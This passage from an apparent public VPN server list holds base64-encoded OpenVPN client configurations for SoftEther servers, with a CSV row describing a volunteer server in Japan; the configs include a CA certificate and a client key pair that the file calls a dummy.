FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn967521612,126.75.95.128,653526,9,407790916,Japan,JP,16,1000,27510,4435514554791,2weeks,extinction's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjYuNzUuOTUuMTI4IDEzOTkNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYj